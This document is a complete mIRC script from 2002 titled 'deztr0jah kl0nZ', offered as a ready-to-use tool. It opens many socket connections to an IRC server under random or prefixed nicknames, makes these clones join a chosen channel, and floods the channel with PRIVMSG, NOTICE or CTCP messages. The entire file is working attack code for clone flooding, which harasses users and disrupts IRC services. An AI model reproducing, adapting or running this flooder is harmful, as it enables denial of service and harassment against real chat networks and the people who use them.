;
; * DEZTR0JAH KL0NZ v0.1 * 
; Coded by UnDeaD with mIRC 6.3 / undead@email.hinet.hr
; 
; 
; Greetz goes to my friends
;

dialog kl0nZ_table {
  title "deztr0jah kl0nZ - v0.1"
  size -1 -1 182 203
  option dbu
  text "IRC Server:", 2, 9 10 29 8
  edit "", 5, 40 9 52 10, autohs
  button "fuck it", 31, 3 185 25 10, flat cancel
  edit "", 6, 40 20 52 10, autohs
  box "Where?", 1, 5 2 91 45
  text "Port:", 3, 26 21 12 8
  button "konnekt", 12, 21 53 26 10, flat
  text "Attack People Is Lame", 27, 58 119 60 7, center
  edit "", 26, 106 80 66 30, read multi autovs center
  box "Status Window", 25, 102 71 74 44
  text "DEZTR0JAH KL0NZ V0.1", 29, 54 139 69 8, center
  text "Socket kloner", 28, 65 127 46 8, center
  text "Greetz goes to: BaKaR, Cyrus, Che, ENEMY, fieldy, L0LEK, MAX, NIkoiNIst, OuTLaW, Rinma, trin00, Zveky and everyone on irc.carnet.hr in #korn.. C ya on next release!", 30, 19 154 144 20
  text "Copyright © 2002 / UnDeaD", 32, 110 182 69 8
  box "Flood Type?", 18, 6 71 81 43, group
  button "kill klonz", 13, 59 53 27 10, flat
  link "deztr0jah.cjb.net", 33, 140 190 39 8
  text "How many:", 4, 11 33 28 8
  edit "", 7, 40 32 15 10
  edit "", 22, 41 78 42 10, autohs
  edit "", 23, 41 89 42 10, autohs
  edit "", 24, 41 100 42 10, autohs
  radio "MSG:", 19, 12 78 24 10
  radio "Notice:", 20, 12 89 28 10
  radio "CTCP:", 21, 12 100 25 10
  box "Clone Nicks?", 8, 102 2 72 31, group
  radio "Random", 9, 105 10 32 10
  radio "From Perfix:", 10, 105 20 38 10
  edit "", 11, 143 20 27 10, autohs
  box "Destination?", 14, 102 35 72 20
  edit "", 16, 131 42 38 10, autohs
  button "join chan", 17, 125 58 28 10, flat
  text "Channel:", 15, 107 43 22 8
  button "Flood", 34, 17 119 22 10, flat
}

on 1:dialog:kl0nzTable:Init:0: { 
  did -a $dname 5 %kl0nZ.serv
  did -a $dname 6 %kl0nZ.port
  did -a $dname 7 %kl0nZ.numbers
  did -a $dname 11 %kl0nZ.nick
  did -a $dname 16 %kl0nZ.channel
  did -a $dname 22 %kl0nZ.msg.data
  did -a $dname 23 %kl0nZ.notice.data
  did -a $dname 24 %kl0nZ.ctcp.data
  did -a $dname 26 deztr0jah kl0nz v0.1 
  did -b $dname 13 | did -b $dname 16 | did -b $dname 17 | did -b $dname 19 | did -b $dname 20 | did -b $dname 21 | did -b $dname 22 | did -b $dname 23 | did -b $dname 24 | did -b $dname 34 
}

alias kl0nZ dialog -mdv kl0nzTable kl0nz_table

on 1:dialog:kl0nzTable:sclick:*: {
  if ($did == 12) {
    did -e $dname 13 | did -e $dname 16 | did -e $dname 17 
    var %kl0nZ.var = 0
    :next
    sockopen kl0nZ- $+ $rand(1,999999999) %kl0nZ.serv %kl0nZ.port
    inc %kl0nZ.var
    if (%kl0nZ.var < %kl0nZ.numbers) goto next
  }
  elseif ($did == 9) { set %kl0nZ.random on | set %kl0nZ.perfix off }
  elseif ($did == 10) { set %kl0nZ.perfix on | set %kl0nZ.random off }
  elseif ($did == 13) { sockwrite -n kl0nZ* quit www.deztr0jah.cjb.net | did -ar kl0nzTable 26 $crlf Socketz Down | did -b $dname 13 | did -b $dname 16 | did -b $dname 17 | did -b $dname 19 | did -b $dname 20 | did -b $dname 21 | did -b $dname 22 | did -b $dname 23 | did -b $dname 24 | did -b $dname 34 }
  elseif ($did == 17) { sockwrite -n kl0nZ* join %kl0nz.channel | did -e $dname 19 | did -e $dname 20 | did -e $dname 21 | did -e $dname 22 | did -e $dname 23 | did -e $dname 24 | did -e $dname 34 }
  elseif ($did == 19) { set %kl0nZ.msg on | set %kl0nZ.notice off | set %kl0nZ.ctcp off }
  elseif ($did == 20) { set %kl0nZ.notice on | set %kl0nZ.ctcp off | set %kl0nZ.msg off }
  elseif ($did == 21) { set %kl0nZ.ctcp on | set %kl0nZ.msg off | set %kl0nZ.notice off }
  elseif ($did == 31) { sockclose kl0nz* }
  elseif ($did == 33) { run http://www.deztr0jah.cjb.net }
  elseif ($did == 34) { 
    if (%kl0nz.msg == on ) { sockwrite -tn kl0nZ* PRIVMSG %kl0nz.channel : $+ %kl0nz.msg.data }
    if (%kl0nz.notice == on ) { sockwrite -tn kl0nZ* NOTICE %kl0nz.channel : $+ %kl0nz.notice.data }
    if (%kl0nz.ctcp == on ) { sockwrite -tn kl0nZ* PRIVMSG %kl0nz.channel : $+ 
 $+ %kl0nz.ctcp.data $+ 
 }
  }
}

on 1:sockopen:kl0nZ*:{
  if ($sockerr > 0) {
    did -ar kl0nzTable 26 $crlf Cannot connect IRC server!
    return
  }
  sockwrite -tn $sockname user $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
  if (%kl0nZ.random == on) { sockwrite -tn $sockname nick $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) }
  if (%kl0nZ.perfix == on) { sockwrite -tn $sockname nick %kl0nZ.nick $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) }
  did -a kl0nZTable 26 $crlf Kl0nz Konnekted...
}

on 1:sockread:kl0nZ*:{
  if ($sockerr > 0) { return }
  :loop | sockread %tmp
  if ($sockbr == 0) { return } 
  if ($gettok(%tmp,1,32) == ping) { sockwrite -tn $sockname PONG $gettok(%tmp,2-,32) }
  goto loop
}

on 1:sockclose:kl0nZ*:{
  did -a kl0nZTable 26 $crlf Kl0nz Dizkonnekted...
}

on 1:dialog:kl0nZTable:edit:*: { 
  if ($did == 5) { set %kl0nZ.serv $did(5) }
  elseif ($did == 6) { set %kl0nZ.port $did(6) }
  elseif ($did == 7) { set %kl0nZ.numbers $did(7) }
  elseif ($did == 11) { set %kl0nZ.nick $did(11) }
  elseif ($did == 16) { set %kl0nZ.channel $did(16) }
  elseif ($did == 22) { set %kl0nZ.msg.data $did(22) }
  elseif ($did == 23) { set %kl0nZ.notice.data $did(23) }
  elseif ($did == 24) { set %kl0nZ.ctcp.data $did(24) }
}

menu menubar {
  -
  deztr0jah.kl0nZ
  .Load:kl0nz
  .New Releases:run http://www.deztr0jah.cjb.net
  .-
  .Unload:unset %kl0nz.* | unload -rs $script
  -
}

;
; End Of File
;